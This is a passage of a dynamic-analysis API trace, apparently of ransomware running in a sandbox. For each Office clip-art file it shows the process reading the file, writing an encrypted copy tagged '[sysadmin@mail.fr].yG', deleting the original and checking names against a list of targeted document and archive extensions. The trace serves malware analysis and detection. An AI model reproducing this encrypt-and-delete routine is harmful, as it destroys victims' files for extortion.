	[0164.135] ReadFile (in: hFile=0x350, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x4290, lpOverlapped=0x0) returned 1
	[0164.158] WriteFile (in: hFile=0x4a4, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x42a0, lpOverlapped=0x0) returned 1
	[0164.160] ReadFile (in: hFile=0x350, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.160] WriteFile (in: hFile=0x4a4, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.160] SetEndOfFile (hFile=0x4a4) returned 1
	[0164.160] CloseHandle (hObject=0x4a4) returned 1
	[0164.160] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.160] SetEndOfFile (hFile=0x350) returned 1
	[0164.165] CloseHandle (hObject=0x350) returned 1
	[0164.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0164.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 1
	[0164.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0164.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0164.167] lstrlenW (lpString=".doc") returned 4
	[0164.167] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.167] lstrlenW (lpString=".docx") returned 5
	[0164.167] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0164.167] lstrlenW (lpString=".pdf") returned 4
	[0164.167] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.167] lstrlenW (lpString=".xls") returned 4
	[0164.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.167] lstrlenW (lpString=".xlsx") returned 5
	[0164.167] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0164.168] lstrlenW (lpString=".ppt") returned 4
	[0164.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0164.168] lstrlenW (lpString=".zip") returned 4
	[0164.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.168] lstrlenW (lpString=".rar") returned 4
	[0164.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.168] lstrlenW (lpString=".bz2") returned 4
	[0164.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.168] lstrlenW (lpString=".7z") returned 3
	[0164.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0164.168] lstrlenW (lpString=".dbf") returned 4
	[0164.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0164.168] lstrlenW (lpString=".1cd") returned 4
	[0164.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68
	[0164.168] lstrlenW (lpString=".jpg") returned 4
	[0164.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.169] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=12900) returned 1
	[0164.170] CloseHandle (hObject=0x350) returned 1
	[0164.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 0x220
	[0164.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0164.171] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.171] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0164.172] GetLastError () returned 0x0
	[0164.172] ReadFile (in: hFile=0x350, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x3264, lpOverlapped=0x0) returned 1
	[0164.175] WriteFile (in: hFile=0x4a4, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x3270, lpOverlapped=0x0) returned 1
	[0164.176] ReadFile (in: hFile=0x350, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.176] WriteFile (in: hFile=0x4a4, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.177] SetEndOfFile (hFile=0x4a4) returned 1
	[0164.177] CloseHandle (hObject=0x4a4) returned 1
	[0164.177] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.177] SetEndOfFile (hFile=0x350) returned 1
	[0164.181] CloseHandle (hObject=0x350) returned 1
	[0164.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0164.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 1
	[0164.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0164.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0164.183] lstrlenW (lpString=".doc") returned 4
	[0164.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.183] lstrlenW (lpString=".docx") returned 5
	[0164.183] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0164.183] lstrlenW (lpString=".pdf") returned 4
	[0164.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.183] lstrlenW (lpString=".xls") returned 4
	[0164.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.184] lstrlenW (lpString=".xlsx") returned 5
	[0164.184] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0164.184] lstrlenW (lpString=".ppt") returned 4
	[0164.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0164.184] lstrlenW (lpString=".zip") returned 4
	[0164.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.184] lstrlenW (lpString=".rar") returned 4
	[0164.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.184] lstrlenW (lpString=".bz2") returned 4
	[0164.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.184] lstrlenW (lpString=".7z") returned 3
	[0164.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0164.185] lstrlenW (lpString=".dbf") returned 4
	[0164.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0164.185] lstrlenW (lpString=".1cd") returned 4
	[0164.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0164.185] lstrlenW (lpString=".jpg") returned 4
	[0164.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.186] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=44948) returned 1
	[0164.187] CloseHandle (hObject=0x350) returned 1
	[0164.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 0x220
	[0165.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0165.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0165.114] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.114] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0165.115] GetLastError () returned 0x0
	[0165.115] ReadFile (in: hFile=0x48c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0xaf94, lpOverlapped=0x0) returned 1
	[0165.163] WriteFile (in: hFile=0x53c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xafa0, lpOverlapped=0x0) returned 1
	[0165.170] ReadFile (in: hFile=0x48c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.170] WriteFile (in: hFile=0x53c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.170] SetEndOfFile (hFile=0x53c) returned 1
	[0165.181] CloseHandle (hObject=0x53c) returned 1
	[0165.181] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.181] SetEndOfFile (hFile=0x48c) returned 1
	[0165.187] CloseHandle (hObject=0x48c) returned 1
	[0165.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0165.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 1
	[0165.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0165.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0165.189] lstrlenW (lpString=".doc") returned 4
	[0165.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.189] lstrlenW (lpString=".docx") returned 5
	[0165.189] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0165.189] lstrlenW (lpString=".pdf") returned 4
	[0165.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.189] lstrlenW (lpString=".xls") returned 4
	[0165.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.189] lstrlenW (lpString=".xlsx") returned 5
	[0165.189] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0165.190] lstrlenW (lpString=".ppt") returned 4
	[0165.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0165.190] lstrlenW (lpString=".zip") returned 4
	[0165.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.190] lstrlenW (lpString=".rar") returned 4
	[0165.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.190] lstrlenW (lpString=".bz2") returned 4
	[0165.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.190] lstrlenW (lpString=".7z") returned 3
	[0165.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0165.190] lstrlenW (lpString=".dbf") returned 4
	[0165.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0165.190] lstrlenW (lpString=".1cd") returned 4
	[0165.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0165.190] lstrlenW (lpString=".jpg") returned 4
	[0165.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.228] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=4628) returned 1
	[0165.228] CloseHandle (hObject=0x568) returned 1
	[0165.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 0x220
	[0165.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0165.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0165.229] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.229] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0165.231] GetLastError () returned 0x0
	[0165.231] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x1214, lpOverlapped=0x0) returned 1
	[0165.233] WriteFile (in: hFile=0x51c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x1220, lpOverlapped=0x0) returned 1
	[0165.234] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.234] WriteFile (in: hFile=0x51c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.234] SetEndOfFile (hFile=0x51c) returned 1
	[0165.235] CloseHandle (hObject=0x51c) returned 1
	[0165.235] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.235] SetEndOfFile (hFile=0x568) returned 1
	[0165.238] CloseHandle (hObject=0x568) returned 1
	[0165.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0165.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 1
	[0165.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0165.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0165.240] lstrlenW (lpString=".doc") returned 4
	[0165.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.240] lstrlenW (lpString=".docx") returned 5
	[0165.240] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0165.240] lstrlenW (lpString=".pdf") returned 4
	[0165.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.240] lstrlenW (lpString=".xls") returned 4
	[0165.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.240] lstrlenW (lpString=".xlsx") returned 5
	[0165.240] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0165.240] lstrlenW (lpString=".ppt") returned 4
	[0165.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0165.240] lstrlenW (lpString=".zip") returned 4
	[0165.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.240] lstrlenW (lpString=".rar") returned 4
	[0165.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.240] lstrlenW (lpString=".bz2") returned 4
	[0165.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.241] lstrlenW (lpString=".7z") returned 3
	[0165.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0165.241] lstrlenW (lpString=".dbf") returned 4
	[0165.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0165.241] lstrlenW (lpString=".1cd") returned 4
	[0165.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0165.241] lstrlenW (lpString=".jpg") returned 4
	[0165.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.242] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=17728) returned 1
	[0165.242] CloseHandle (hObject=0x568) returned 1
	[0165.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 0x220
	[0165.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0165.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0165.243] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.243] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0165.245] GetLastError () returned 0x0
	[0165.245] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x4540, lpOverlapped=0x0) returned 1
	[0165.257] WriteFile (in: hFile=0x51c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x4550, lpOverlapped=0x0) returned 1
	[0165.258] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.258] WriteFile (in: hFile=0x51c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.258] SetEndOfFile (hFile=0x51c) returned 1
	[0165.259] CloseHandle (hObject=0x51c) returned 1
	[0165.259] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.259] SetEndOfFile (hFile=0x568) returned 1
	[0165.820] CloseHandle (hObject=0x568) returned 1
	[0165.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0165.821] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 1
	[0165.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0165.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0165.821] lstrlenW (lpString=".doc") returned 4
	[0165.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.822] lstrlenW (lpString=".docx") returned 5
	[0165.822] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0165.822] lstrlenW (lpString=".pdf") returned 4
	[0165.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.822] lstrlenW (lpString=".xls") returned 4
